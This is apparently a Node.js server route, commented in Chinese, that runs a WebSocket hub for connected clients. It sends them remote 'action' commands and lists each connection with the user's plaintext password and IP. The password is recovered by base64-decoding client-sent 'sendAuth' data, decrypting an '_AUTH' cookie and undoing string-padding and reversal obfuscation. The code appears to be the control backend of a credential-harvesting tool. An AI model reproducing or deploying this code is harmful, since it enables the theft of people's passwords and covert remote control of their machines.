const com = require('../com')

/* 发送数据，并在发送之前，没服务先创建服务 */
const sendMsg = (req, res) => {
  let _nsCoonPool = global.nsCoonPool
  /* 创建一个 websocket-server Node端 */
  if (!global.nsSocket) global.nsSocket = com.WebSocket.createServerSocket(global.SocketServer)

  /* 接口执行操作 */
  if (global.nsSocket) {
    if (req.body.sendMsg === 'send') {
      com.WebSocket.sendData(req.body.arr && req.body.arr.split(','), req.body.action, req.body.val)
      res.status(200).send({ msg: '已向客户端发送消息' })
    } else {
      let _conArr = []
      for (let i = 0; i < _nsCoonPool.length; i++) {
        let _tmp = _nsCoonPool[i]
        let _str = ''
        let _pwd = ''
        if (_tmp.backData) {
          let _json = JSON.parse(_tmp.backData)
          if (_json.action === 'sendAuth' && _json.info) { // 获取本地用户基本数据 - sendAuth
            _str = Buffer.from(_json.info, 'base64').toString()
            if (!_pwd) {
              _pwd = Buffer.from(_str.split(':')[5] || '', 'base64').toString()
            }
          }
        }
        let _cookiesArr = JSON.parse(_tmp.cookies)
        for (let i = 0; i < _cookiesArr.length; i++) {
          if (_cookiesArr[i].name === '_AUTH') { // 获取cookie中 对称加密过的密码 - _AUTH
            _pwd = com.CryptoJs.decryptData(_cookiesArr[i].value)
            break
          }
        }
        _conArr.push({
          auth: _tmp.key,
          _str: _str,
          pwd: _pwd.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join(''),
          keepExitTime: com.DateTime.timestampToFormatTimeStr(new Date().getTime() - _tmp.createTime),
          IPs: _tmp.IPs
        })
      }
      res.status(200).send({ linkCount: _nsCoonPool.length, connections: _conArr })
    }
  } else {
    res.status(200).send({ msg: 'ServerSocket not publish' })
  }
}

module.exports = {
  sendMsg: sendMsg
}
